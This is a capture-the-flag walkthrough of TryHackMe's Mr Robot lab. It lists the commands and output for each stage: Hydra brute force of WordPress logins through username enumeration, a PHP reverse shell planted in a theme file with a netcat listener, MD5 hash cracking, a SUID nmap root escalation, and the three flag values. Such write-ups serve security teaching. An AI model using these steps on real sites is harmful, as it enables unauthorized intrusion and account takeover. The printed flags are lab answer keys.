0xmrerror@terminal:~/writeups

Mr Robot CTF — WordPress to Root

A WordPress blog with a leaked wordlist, weak credentials and a hidden base64 login — a four-stage chain from recon to root.

MediumTryHackMeWeb · 20 min readwordpresscredential-reusebase64privilege-escalationtryhackme

A WordPress blog with a leaked wordlist, weak credentials, a hidden base64 login, and the classic SUID nmap privesc. Goal: 3 keys.

1 · Reconnaissance

# Full port scan with services
nmap -sC -sV -p- --min-rate 1000 10.10.x.x

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

2 · Key 1 — robots.txt

robots.txt leaks two files: the first key and fsocity.dic, a wordlist we reuse later.

curl http://10.10.x.x/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

wget http://10.10.x.x/key-1-of-3.txt
cat key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

3 · WordPress Enumeration

gobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/wp-login   (Status: 200)
/wp-admin   (Status: 301)
/wp-content (Status: 301)

# fsocity.dic has ~858k words, mostly duplicates — dedup first
sort fsocity.dic | uniq > fs-clean.txt
wc -w fs-clean.txt   # 11451 unique words

4 · Brute-Forcing wp-login

WordPress leaks whether a username exists (Invalid username vs wrong-password message). Find the user first, then crack the password with Hydra.

# 1) Find the username
hydra -L fs-clean.txt -p test 10.10.x.x http-post-form   "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30
# > username: elliot

# 2) Crack the password
hydra -l elliot -P fs-clean.txt 10.10.x.x http-post-form   "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30
# > creds: elliot : ER28-0652

Fast path: the /license page hides base64 that decodes straight to the same creds.

echo ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d
# elliot:ER28-0652

5 · Reverse Shell via Theme Editor

Logged in as admin, inject a PHP reverse shell into the theme: Appearance → Editor → 404.php. Paste pentestmonkey's shell, set your IP/port, save, then hit the template. Upgrade the dumb shell to a TTY.

# Attacker side — listener
nc -lvnp 4444

# Trigger the shell
http://10.10.x.x/wp-content/themes/twentyfifteen/404.php

# Upgrade TTY
python -c 'import pty; pty.spawn("/bin/bash")'

6 · Pivot to the robot User

Shell lands as daemon. /home/robot holds a hash file for the robot user and the key — readable only by robot.

cd /home/robot && ls -la
-r-------- 1 robot robot 33 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 password.raw-md5

cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
# robot : abcdefghijklmnopqrstuvwxyz

su robot
cat /home/robot/key-2-of-3.txt
822c73956184f694993bebb3eb32f0bf

7 · Privesc — SUID Nmap

A GTFOBins classic. Old nmap ships an --interactive shell where ! runs commands as the binary owner — and /usr/local/bin/nmap has the SUID bit.

find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/nmap   # <-- SUID, owned by root

/usr/local/bin/nmap --interactive
nmap> !sh
# root shell
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

8 · What Made It Work

Step 4 is the interesting one. WordPress's login form returns a different message for an unknown username than for a wrong password, so the brute force collapses to one column against a single known account instead of a password list times a user list. The /license page then hands over those same credentials base64-encoded, which is a good reminder of how little the 858k-word dictionary did.